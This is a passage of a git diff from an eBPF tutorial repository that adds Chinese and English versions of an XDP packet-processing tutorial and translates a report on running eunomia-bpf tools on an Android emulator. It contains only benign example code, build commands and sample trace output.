actions](https://prototype-kernel.readthedocs.io/en/latest/networking/XDP/implementation/xdp_actions.html) 了解更多 xdp 的处理动作。 +At the end of the program, we return `XDP_PASS`, signaling that our XDP program will deliver packets passing through the target network device to the kernel's network protocol stack as usual. For more on XDP actions, see [XDP actions](https://prototype-kernel.readthedocs.io/en/latest/networking/XDP/implementation/xdp_actions.html). -## 编译运行 +## Compilation and Execution -通过容器编译: +To compile using a container: ```console docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest ``` -或是通过 `ecc` 编译: +Or compile with `ecc`: ```console $ ecc xdp.bpf.c @@ -73,13 +132,13 @@ Compiling bpf object... Packing ebpf object and config into package.json... ``` -并通过 `ecli` 运行: +Then, run with `ecli`: ```console sudo ecli run package.json ``` -可以通过如下方式查看程序的输出: +To view the program's output: ```console $ sudo cat /sys/kernel/tracing/trace_pipe @@ -89,14 +148,18 @@ $ sudo cat /sys/kernel/tracing/trace_pipe node-1939 [000] d.s11 1601.275860: bpf_trace_printk: packet size is 344 ``` -## 总结 +## Conclusion + +This article introduces how to use XDP to process packets passing through a specific network device. With eunomia-bpf's annotation-based approach for passing parameters to libbpf, we can mount our custom XDP BPF program onto the target device with specified options. This allows packet processing even before they enter the kernel's network protocol stack, achieving high-performance programmable packet processing. + +For those interested in further exploring eBPF, visit our tutorial code repository at or website for more examples and a comprehensive guide. -本文介绍了如何使用 xdp 来处理经过特定网络设备的包,基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案,我们可以将自己编写的 xdp BPF 程序以指定选项挂载到目标设备,并在网络包进入内核网络协议栈之前就对其进行处理,从而获取高性能的可编程包处理能力。 +## References -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +For more information, you can refer to: -## 参考资料 +- +- +- -+ -+ -+ +> The original link of this article: diff --git a/src/21-xdp/README.zh.md b/src/21-xdp/README.zh.md new file mode 100644 index 00000000..d6269faf --- /dev/null +++ b/src/21-xdp/README.zh.md @@ -0,0 +1,157 @@ +# eBPF 入门实践教程二十一: 使用 XDP 进行可编程数据包处理 + +在本教程中,我们将介绍 XDP(eXpress Data Path),并通过一个简单的例子帮助你入门。之后,我们将探讨更高级的 XDP 应用,例如负载均衡器、防火墙及其他实际应用。如果你对 eBPF 或 XDP 感兴趣,请在 [Github](https://github.com/eunomia-bpf/bpf-developer-tutorial) 上为我们点赞! + +## 什么是 XDP? + +XDP 是 Linux 内核中的一种高性能可编程数据路径,专为网络接口级的数据包处理而设计。通过将 eBPF 程序直接附加到网络设备驱动程序上,XDP 能够在数据包到达内核网络栈之前拦截并处理它们。这使得 XDP 能够进行极低延迟和高效的数据包处理,非常适合如 DDoS 防护、负载均衡和流量过滤等任务。实际上,XDP 每核心的吞吐量可以高达 **每秒 2400 万包(Mpps)**。 + +### 为什么选择 XDP? + +XDP 运行在比传统 Linux 网络组件(如 cBPF)更低的层级,在网络设备驱动程序的软中断上下文中执行。它能够在数据包被内核标准网络栈处理之前对其进行处理,避免了创建 Linux 中表示网络数据包的 `skb_buff` 结构。这种早期处理为简单但频繁的操作(如丢弃恶意数据包或负载均衡服务器)带来了显著的性能提升。 + +与其他数据包处理机制相比,XDP 在性能和可用性之间取得了平衡,它利用了 Linux 内核的安全性和可靠性,同时通过可编程的 eBPF 提供了灵活性。 + +## XDP 与其他方法的比较 + +在 XDP 出现之前,一些解决方案通过完全绕过内核来加速数据包处理。其中一个显著的例子是 **DPDK**(数据平面开发工具包)。DPDK 允许用户空间应用程序直接控制网络设备,从而实现非常高的性能。然而,这种方法也存在一些权衡: + +1. **缺乏内核集成**:DPDK 及其他内核绕过解决方案无法利用现有的内核网络功能,开发者必须在用户空间重新实现许多协议和功能。 + +2. **安全边界**:这些绕过技术破坏了内核的安全模型,使得难以利用内核提供的安全工具。 +3. **用户空间与内核的转换开销**:当用户空间数据包处理需要与传统内核网络交互时(例如基于套接字的应用程序),数据包必须重新注入到内核中,增加了开销和复杂性。 +4. **专用 CPU 使用**:为了处理高流量,DPDK 和类似解决方案通常需要专用的 CPU 核心来处理数据包,这限制了通用系统的可扩展性和效率。 + +另一个替代 XDP 的方法是使用 Linux 网络栈中的 **内核模块** 或 **挂钩**。虽然这种方法可以很好地集成现有的内核功能,但它需要大量的内核修改,且由于在数据包处理管道的后期运行,无法提供与 XDP 相同的性能优势。 + +### XDP + eBPF 的优势 + +XDP 与 eBPF 结合提供了介于内核绕过方案(如 DPDK)和内核集成方案之间的中间地带。以下是 XDP + eBPF 脱颖而出的原因: + +- **高性能**:通过在网络接口卡(NIC)驱动程序级别拦截数据包,XDP 可以实现接近线速的性能,用于丢弃、重定向或负载均衡数据包,同时保持低资源消耗。 + +- **内核集成**:与 DPDK 不同,XDP 在 Linux 内核中工作,允许与现有的内核网络栈和工具(如 `iptables`、`nftables` 或套接字)无缝交互。无需在用户空间重新实现网络协议。 + +- **安全性**:eBPF 虚拟机确保用户定义的 XDP 程序是被隔离的,不会对内核造成不稳定影响。eBPF 的安全模型防止恶意或有缺陷的代码损害系统,提供了一个安全的可编程数据包处理环境。 + +- **不需要专用 CPU**:XDP 允许数据包处理而无需将整个 CPU 核心专用于网络任务。这提高了系统的整体效率,允许更灵活的资源分配。 + +总的来说,XDP + eBPF 提供了一种强大的可编程数据包处理解决方案,结合了高性能与内核集成的灵活性和安全性。它消除了完全绕过内核方案的缺点,同时保留了内核安全性和功能的优势。 + +## XDP 的项目和应用案例 + +XDP 已经在许多高调的项目中得到应用,这些项目展示了它在实际网络场景中的强大功能和灵活性: + +### 1. **Cilium** + +- **描述**:Cilium 是一个为云原生环境(尤其是 Kubernetes)设计的开源网络、安全和可观测性工具。它利用 XDP 实现高性能的数据包过滤和负载均衡。 +- **应用案例**:Cilium 将数据包过滤和安全策略卸载到 XDP,实现高吞吐量和低延迟的容器化环境流量管理,同时不牺牲可扩展性。 +- **链接**:[Cilium](https://cilium.io/) + +### 2. **Katran** + +- **描述**:Katran 是由 Facebook 开发的第 4 层负载均衡器,优化了高可扩展性和性能。它使用 XDP 处理数据包转发,开销极小。 +- **应用案例**:Katran 每秒处理数百万个数据包,高效地将流量分配到后端服务器上,利用 XDP 在大规模数据中心中实现低延迟和高性能的负载均衡。 +- **链接**:[Katran GitHub](https://github.com/facebookincubator/katran) + +### 3. **Cloudflare 的 XDP DDoS 保护** + +- **描述**:Cloudflare 已经实现了基于 XDP 的实时 DDoS 缓解。通过在 NIC 级别处理数据包,Cloudflare 能够在恶意流量进入网络栈之前过滤掉攻击流量,最小化 DDoS 攻击对其系统的影响。 +- **应用案例**:Cloudflare 利用 XDP 在管道早期丢弃恶意数据包,保护其基础设施免受大规模 DDoS 攻击,同时保持对合法流量的高可用性。 +- **链接**:[Cloudflare 博客关于 XDP](https://blog.cloudflare.com/l4drop-xdp-ebpf-based-ddos-mitigations/) + +这些项目展示了 XDP 在不同领域的可扩展和高效的数据包处理能力,从安全和负载均衡到云原生网络。 + +### 为什么选择 XDP 而不是其他方法? + +与传统方法(如 `iptables`、`nftables` 或 `tc`)相比,XDP 提供了几个明显的优势: + +- **速度与低开销**:XDP 直接在 NIC 驱动程序中运行,绕过了内核的大部分开销,使数据包处理更快。 + +- **可定制性**:XDP 允许开发人员通过 eBPF 创建自定义的数据包处理程序,提供比传统工具(如 `iptables`)更大的灵活性和细粒度控制。 + +- **资源效率**:XDP 不需要像 DPDK 等用户空间解决方案那样将整个 CPU 核心专用于数据包处理,因此它是高性能网络的更高效选择。 + +## 编写 eBPF 程序 + +```C +#include "vmlinux.h" +#include + +/// @ifindex 1 +/// @flags 0 +/// @xdpopts {"old_prog_fd":0} +SEC("xdp") +int xdp_pass(struct xdp_md* ctx) { + void* data = (void*)(long)ctx->data; + void* data_end = (void*)(long)ctx->data_end; + int pkt_sz = data_end - data; + + bpf_printk("packet size is %d", pkt_sz); + return XDP_PASS; +} + +char __license[] SEC("license") = "GPL"; +``` + +这是一段 C 语言实现的 eBPF 内核侧代码,它能够通过 xdp 捕获所有经过目标网络设备的数据包,计算其大小并输出到 `trace_pipe` 中。 + +值得注意的是,在代码中我们使用了以下注释: + +```C +/// @ifindex 1 +/// @flags 0 +/// @xdpopts {"old_prog_fd":0} +``` + +这是由 eunomia-bpf 提供的功能,我们可以通过这样的注释告知 eunomia-bpf 加载器此 xdp 程序想要挂载的目标网络设备编号,挂载的标志和选项。 + +这些变量的设计基于 libbpf 提供的 API,可以通过 [patchwork](https://patchwork.kernel.org/project/netdevbpf/patch/20220120061422.2710637-2-andrii@kernel.org/#24705508) 查看接口的详细介绍。 + +`SEC("xdp")` 宏指出 BPF 程序的类型,`ctx` 是此 BPF 程序执行的上下文,用于包处理流程。 + +在程序的最后,我们返回了 `XDP_PASS`,这表示我们的 xdp 程序会将经过目标网络设备的包正常交付给内核的网络协议栈。可以通过 [XDP actions](https://prototype-kernel.readthedocs.io/en/latest/networking/XDP/implementation/xdp_actions.html) 了解更多 xdp 的处理动作。 + +## 编译运行 + +通过容器编译: + +```console +docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest +``` + +或是通过 `ecc` 编译: + +```console +$ ecc xdp.bpf.c +Compiling bpf object... +Packing ebpf object and config into package.json... +``` + +并通过 `ecli` 运行: + +```console +sudo ecli run package.json +``` + +可以通过如下方式查看程序的输出: + +```console +$ sudo cat /sys/kernel/tracing/trace_pipe + node-1939 [000] d.s11 1601.190413: bpf_trace_printk: packet size is 177 + node-1939 [000] d.s11 1601.190479: bpf_trace_printk: packet size is 66 + ksoftirqd/1-19 [001] d.s.1 1601.237507: bpf_trace_printk: packet size is 66 + node-1939 [000] d.s11 1601.275860: bpf_trace_printk: packet size is 344 +``` + +## 总结 + +本文介绍了如何使用 xdp 来处理经过特定网络设备的包,基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案,我们可以将自己编写的 xdp BPF 程序以指定选项挂载到目标设备,并在网络包进入内核网络协议栈之前就对其进行处理,从而获取高性能的可编程包处理能力。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 + +## 参考资料 + +- +- +- diff --git a/src/21-xdp/README_en.md b/src/21-xdp/README_en.md deleted file mode 100644 index 33242417..00000000 --- a/src/21-xdp/README_en.md +++ /dev/null @@ -1,106 +0,0 @@ -# eBPF Tutorial by Example 21: Programmable Packet Processing with XDP - -## Background - -XDP (eXpress Data Path) is an emerging scheme in the Linux kernel for programmable packet processing that bypasses the kernel. Compared to cBPF, XDP operates at a much lower level, residing within the network device driver's soft interrupt processing, even before the allocation of the `skb_buff` structure. Thus, eBPF programs mounted on XDP are suitable for many simple yet frequent packet processing operations (like defending against DoS attacks), achieving high performance (24Mpps/core). - -## Overview of XDP - -XDP isn't the first system supporting programmable packet processing. Before it, kernel-bypass solutions like DPDK (Data Plane Development Kit) could even achieve higher performance. The idea behind such solutions is to completely bypass the kernel and let user-level network applications take over network devices, eliminating the overhead of transitioning between user and kernel mode. However, this approach has inherent drawbacks: - -+ Inability to integrate with mature network modules in the kernel, necessitating reimplementation in user space. -+ Breaking the kernel's security boundary, rendering many kernel-provided networking tools unusable. -+ When interacting with conventional sockets, packets must be reinjected into the kernel from user space. -+ Requires dedicating one or more separate CPUs for packet processing. - -Additionally, using kernel modules and hook points in the kernel's network protocol stack is another approach. However, the former entails extensive kernel modifications with high error costs, while the latter, due to its position in the whole packet processing workflow, isn't as efficient. - -In summary, XDP + eBPF presents a more robust approach for programmable packet processing. It balances the strengths and weaknesses of the aforementioned solutions, achieving high performance without altering the kernel's packet processing workflow too much. Moreover, the eBPF virtual machine isolates and constrains user-defined packet processing routines, enhancing security. - -## Writing an eBPF Program - -```C -#include "vmlinux.h" -#include - -/// @ifindex 1 -/// @flags 0 -/// @xdpopts {"old_prog_fd":0} -SEC("xdp") -int xdp_pass(struct xdp_md* ctx) { - void* data = (void*)(long)ctx->data; - void* data_end = (void*)(long)ctx->data_end; - int pkt_sz = data_end - data; - - bpf_printk("packet size is %d", pkt_sz); - return XDP_PASS; -} - -char __license[] SEC("license") = "GPL"; -``` - -This is a kernel-side eBPF code written in C. It captures all packets passing through the target network device using XDP, calculates their size, and outputs it to `trace_pipe`. - -It's worth noting the following annotations in the code: - -```C -/// @ifindex 1 -/// @flags 0 -/// @xdpopts {"old_prog_fd":0} -``` - -This functionality is provided by eunomia-bpf, which allows these annotations to inform the eunomia-bpf loader about the desired target network device number, mounting flags, and options for this XDP program. - -These variables are based on the API provided by libbpf. Detailed information about the interface can be viewed [here](https://patchwork.kernel.org/project/netdevbpf/patch/20220120061422.2710637-2-andrii@kernel.org/#24705508). - -The `SEC("xdp")` macro indicates the type of the BPF program, while `ctx` is the execution context of this BPF program for packet processing. - -At the end of the program, we return `XDP_PASS`, signaling that our XDP program will deliver packets passing through the target network device to the kernel's network protocol stack as usual. For more on XDP actions, see [XDP actions](https://prototype-kernel.readthedocs.io/en/latest/networking/XDP/implementation/xdp_actions.html). - -## Compilation and Execution - -To compile using a container: - -```console -docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest -``` - -Or compile with `ecc`: - -```console -$ ecc xdp.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -Then, run with `ecli`: - -```console -sudo ecli run package.json -``` - -To view the program's output: - -```console -$ sudo cat /sys/kernel/tracing/trace_pipe - node-1939 [000] d.s11 1601.190413: bpf_trace_printk: packet size is 177 - node-1939 [000] d.s11 1601.190479: bpf_trace_printk: packet size is 66 - ksoftirqd/1-19 [001] d.s.1 1601.237507: bpf_trace_printk: packet size is 66 - node-1939 [000] d.s11 1601.275860: bpf_trace_printk: packet size is 344 -``` - -## Conclusion - -This article introduces how to use XDP to process packets passing through a specific network device. With eunomia-bpf's annotation-based approach for passing parameters to libbpf, we can mount our custom XDP BPF program onto the target device with specified options. This allows packet processing even before they enter the kernel's network protocol stack, achieving high-performance programmable packet processing. - -For those interested in further exploring eBPF, visit our tutorial code repository at or website for more examples and a comprehensive guide. - -## References - -For more information, you can refer to: - -+ -+ -+ - -> The original link of this article: diff --git a/src/22-android/.config b/src/22-android/.config new file mode 100644 index 00000000..f285c89c --- /dev/null +++ b/src/22-android/.config @@ -0,0 +1,2 @@ +level=Depth +type=Android diff --git a/src/22-android/README.md b/src/22-android/README.md index 7125175d..e1121a84 100644 --- a/src/22-android/README.md +++ b/src/22-android/README.md @@ -1,69 +1,70 @@ -# 在 Andorid 上使用 eBPF 程序 +# eBPF Tutorial by Example: Using eBPF Programs on Android -> 本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 -> 测试采用的方式是在 Android Shell 环境下构建 Debian 环境,并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。 +> This article mainly documents the author's exploration process, results, and issues encountered while testing the level of support for CO-RE technology based on the libbpf library on high version Android kernels in the Android Studio Emulator. +> The test was conducted by building a Debian environment in the Android Shell environment and attempting to build the eunomia-bpf toolchain and run its test cases based on this. -## 背景 +> The complete source code: -截至目前(2023-04),Android 还未对 eBPF 程序的动态加载做出较好的支持,无论是以 bcc 为代表的带编译器分发方案,还是基于 btf 和 libbpf 的 CO-RE 方案,都在较大程度上离不开 Linux 环境的支持,无法在 Android 系统上很好地运行[^WeiShu]。 +## Background -虽然如此,在 Android 平台上尝试 eBPF 也已经有了一些成功案例,除谷歌官方提供的修改 `Android.bp` 以将 eBPF 程序随整个系统一同构建并挂载的方案[^Google],也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路,并开发了相关工具。 +As of now (2023-04), Android has not provided good support for dynamic loading of eBPF programs. Both the compiler distribution scheme represented by bcc and the CO-RE scheme based on btf and libbpf rely heavily on Linux environment support and cannot run well on the Android system.[^WeiShu] -目前已有的资料,大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱,并对 bcc 和 bpftrace 相关工具链进行测试,而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料,如: +However, there have been some successful cases of trying eBPF on the Android platform. In addition to the solution provided by Google to modify `Android.bp` to build and mount eBPF programs with the entire system[^Google], some people have proposed building a Linux environment based on the Android kernel and running the eBPF toolchain using this approach, and have developed related tools. -+ SeeFlowerX: -+ evilpan: +Currently available information mostly focuses on the testing of bcc and bpftrace toolchains based on the adeb/eadb sandbox built on the Android kernel, with less testing work on the CO-RE scheme. There is more reference material available for using the bcc tool on Android, such as: -其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像,并在其中构建整个 bcc 工具链,从而使用 eBPF 工具。如果想要使用 bpftrace,原理也是类似的。 ++ SeeFlowerX: ++ evilpan: -事实上,高版本的 Android 内核已支持 btf 选项,这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。 +The main idea is to use chroot to run a Debian image on the Android kernel and build the entire bcc toolchain within it in order to use eBPF tools. The same principle applies to using bpftrace. -> [eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf) 是一个结合了 libbpf 和 WebAssembly 技术的开源项目,旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式,其核心依赖是 libbpf,相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。 +In fact, higher versions of the Android kernel already support the btf option, which means that the emerging CO-RE technology in the eBPF field should also be applicable to Linux systems based on the Android kernel. This article will test and run eunomia-bpf in the emulator environment based on this. -## 测试环境 +> [eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf) is an open-source project that combines libbpf and WebAssembly technology, aiming to simplify the writing, compilation, and deployment of eBPF programs. This project can be seen as a practical way of implementing CO-RE, with libbpf as its core dependency. It is believed that the testing work of eunomia-bpf can provide reference for other CO-RE schemes. -+ Android Emulator(Android Studio Flamingo | 2022.2.1) +## Test Environment + ++ Android Emulator (Android Studio Flamingo | 2022.2.1) + AVD: Pixel 6 -+ Android Image: Tiramisu Android 13.0 x86_64(5.15.41-android13-8-00055-g4f5025129fe8-ab8949913) ++ Android Image: Tiramisu Android 13.0 x86_64 (5.15.41-android13-8-00055-g4f5025129fe8-ab8949913) -## 环境搭建[^SeeFlowerX] +## Environment Setup[^SeeFlowerX] -1. 从 [eadb 仓库](https://github.com/tiann/eadb) 的 releases 页面获取 `debianfs-amd64-full.tar.gz` 作为 Linux 环境的 rootfs,同时还需要获取该项目的 `assets` 目录来构建环境; -2. 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device; -3. 通过 Android Studio SDK 的 adb 工具将 `debianfs-amd64-full.tar.gz` 和 `assets` 目录推送到 AVD 中: +1. Obtain `debianfs-amd64-full.tar.gz` from the releases page of the [eadb repository](https://github.com/tiann/eadb) as the rootfs of the Linux environment. Also, get the `assets` directory from this project to build the environment. +2. Configure and start the Android Virtual Device in the Android Studio Device Manager. +3. Push `debianfs-amd64-full.tar.gz` and the `assets` directory to the AVD using the adb tool from the Android Studio SDK: + `./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz` + `./adb push assets /data/local/tmp/assets` -4. 通过 adb 进入 Android shell 环境并获取 root 权限: +4. Use adb to enter the Android shell environment and obtain root permissions: + `./adb shell` + `su` -5. 在 Android shell 中构建并进入 debian 环境: +5. Build and enter the debian environment in the Android shell: + `mkdir -p /data/eadb` + `mv /data/local/tmp/assets/* /data/eadb` - + `mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz` - + `rm -r /data/local/tmp/assets` + + `mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz`+ `rm -r /data/local/tmp/assets` + `chmod +x /data/eadb/device-*` + `/data/eadb/device-unpack` + `/data/eadb/run /data/eadb/debian` -至此,测试 eBPF 所需的 Linux 环境已经构建完毕。此外,在 Android shell 中(未进入 debian 时)可以通过 `zcat /proc/config.gz` 并配合 `grep` 查看内核编译选项。 +At this point, the Linux environment required for testing eBPF has been set up. In addition, in the Android shell (before entering debian), you can use `zcat /proc/config.gz` in conjunction with `grep` to view kernel compilation options. ->目前,eadb 打包的 debian 环境存在 libc 版本低,缺少的工具依赖较多等情况;并且由于内核编译选项不同,一些 eBPF 功能可能也无法使用。 +>Currently, the debian environment packaged by eadb has a low version of libc and lacks many tool dependencies. Additionally, due to different kernel compilation options, some eBPF features may not be available. -## 工具构建 +## Build Tools -在 debian 环境中将 eunomia-bpf 仓库 clone 到本地,具体的构建过程,可以参考仓库的 [build.md](https://github.com/eunomia-bpf/eunomia-bpf/blob/master/documents/build.md)。在本次测试中,笔者选用了 `ecc` 编译生成 `package.json` 的方式,该工具的构建和使用方式请参考[仓库页面](https://github.com/eunomia-bpf/eunomia-bpf/tree/master/compiler)。 +Clone the eunomia-bpf repository into the local debian environment. For the specific build process, refer to the repository's [build.md](https://eunomia.dev/eunomia-bpf/setup/build). In this test, I used the `ecc` compilation method to generate the `package.json`. Please refer to the [repository page](https://github.com/eunomia-bpf/eunomia-bpf/tree/master/compiler) for the build and usage instructions for this tool. ->在构建过程中,可能需要自行安装包括但不限于 `curl`,`pkg-config`,`libssl-dev` 等工具。 +>During the build process, you may need to manually install tools such as `curl`, `pkg-config`, `libssl-dev`, etc. -## 结果 +## Results -有部分 eBPF 程序可以成功在 Android 上运行,但也会有部分应用因为种种原因无法成功被执行。 +Some eBPF programs can be successfully executed on Android, but there are also some applications that cannot be executed successfully for various reasons. -### 成功案例 +### Success Cases #### [bootstrap](https://github.com/eunomia-bpf/eunomia-bpf/tree/master/examples/bpftools/bootstrap) -运行输出如下: +The output of running is as follows: ```console TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT @@ -77,7 +78,7 @@ TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT #### [tcpstates](https://github.com/eunomia-bpf/eunomia-bpf/tree/master/examples/bpftools/tcpstates) -开始监测后在 Linux 环境中通过 `wget` 下载 Web 页面: +After starting monitoring, download a web page using `wget` in the Linux environment: ```console TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK @@ -90,7 +91,7 @@ TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE F 09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet ``` -开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面: +Start the detection and open the Chrome browser in the Android Studio simulation interface to access the Baidu page: ```console TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK @@ -100,8 +101,7 @@ TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE F 07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService 07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService 07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService -07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService -07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg +07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService".07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg 07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService 07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService 07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0 @@ -116,11 +116,7 @@ TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE F 07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet ``` -### 一些可能的报错原因 - -#### [opensnoop](https://github.com/eunomia-bpf/eunomia-bpf/tree/master/examples/bpftools/opensnoop) - -例如 opensnoop 工具,可以在 Android 上成功构建,但运行报错: +Note: some error messages may appear in the Android shell during the test: ```console libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory @@ -130,25 +126,27 @@ failed to attach skeleton Error: BpfError("load and attach ebpf program failed") ``` -后经查看发现内核未开启 `CONFIG_FTRACE_SYSCALLS` 选项,导致无法使用 syscalls 的 tracepoint。 +Later, after investigation, it was found that the kernel did not enable the `CONFIG_FTRACE_SYSCALLS` option, which resulted in the inability to use the tracepoint of syscalls. + +## Summary -## 总结 +The `CONFIG_DEBUG_INFO_BTF` option is enabled by default when viewing the kernel compilation options in the Android shell. Based on this, the examples provided by the eunomia-bpf project already have some successful cases, such as monitoring the execution of the `exec` family of functions and the status of TCP connections. -在 Android shell 中查看内核编译选项可以发现 `CONFIG_DEBUG_INFO_BTF` 默认是打开的,在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例,例如可以监测 `exec` 族函数的执行和 tcp 连接的状态。 +For some cases that cannot run, the reasons are mainly the following: -对于无法运行的一些,原因主要是以下两个方面: +1. The kernel compilation options do not support the relevant eBPF functionality; +2. The Linux environment packaged by eadb is weak and lacks necessary dependencies; -1. 内核编译选项未支持相关 eBPF 功能; -2. eadb 打包的 Linux 环境较弱,缺乏必须依赖; +Currently, using eBPF tools in the Android system still requires building a complete Linux runtime environment. However, the Android kernel itself has comprehensive support for eBPF. This test proves that higher versions of the Android kernel support BTF debugging information and CO-RE dependent eBPF programs. -目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境,但 Android 内核本身对 eBPF 的支持已较为全面,本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。 +The development of eBPF tools in the Android system requires the addition of official new features. Currently, it seems that using eBPF tools directly through an Android app requires a lot of effort. At the same time, since eBPF tools require root privileges, ordinary Android users will encounter more difficulties in using them. -Android 系统 eBPF 工具的发展需要官方新特性的加入,目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大,同时由于 eBPF 工具需要 root 权限,普通 Android 用户的使用会面临较多困难。 +If you want to learn more about eBPF knowledge and practice, you can visit our tutorial code repository or website to get more examples and complete tutorials. -如果希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +## Reference -## 参考 ++ [Google android docs](https://source.android.google.cn/docs/core/architecture/kernel/bpf) ++ [weixin WeiShu](https://mp.weixin.qq.com/s/mul4n5D3nXThjxuHV7GpMA) ++ [SeeFlowerX](https://blog.seeflower.dev/archives/138/) -[^Google]: -[^WeiShu]: -[^SeeFlowerX]: +> The original link of this article: diff --git a/src/22-android/README.zh.md b/src/22-android/README.zh.md new file mode 100644 index 00000000..ba3a6668 --- /dev/null +++ b/src/22-android/README.zh.md @@ -0,0 +1,154 @@ +# 在 Android 上使用 eBPF 程序 + +> 本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 +> 测试采用的方式是在 Android Shell 环境下构建 Debian 环境,并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。 + +## 背景 + +截至目前(2023-04),Android 还未对 eBPF 程序的动态加载做出较好的支持,无论是以 bcc 为代表的带编译器分发方案,还是基于 btf 和 libbpf 的 CO-RE 方案,都在较大程度上离不开 Linux 环境的支持,无法在 Android 系统上很好地运行[^WeiShu]。 + +虽然如此,在 Android 平台上尝试 eBPF 也已经有了一些成功案例,除谷歌官方提供的修改 `Android.bp` 以将 eBPF 程序随整个系统一同构建并挂载的方案[^Google],也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路,并开发了相关工具。 + +目前已有的资料,大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱,并对 bcc 和 bpftrace 相关工具链进行测试,而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料,如: + ++ SeeFlowerX: ++ evilpan: + +其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像,并在其中构建整个 bcc 工具链,从而使用 eBPF 工具。如果想要使用 bpftrace,原理也是类似的。 + +事实上,高版本的 Android 内核已支持 btf 选项,这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。 + +> [eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf) 是一个结合了 libbpf 和 WebAssembly 技术的开源项目,旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 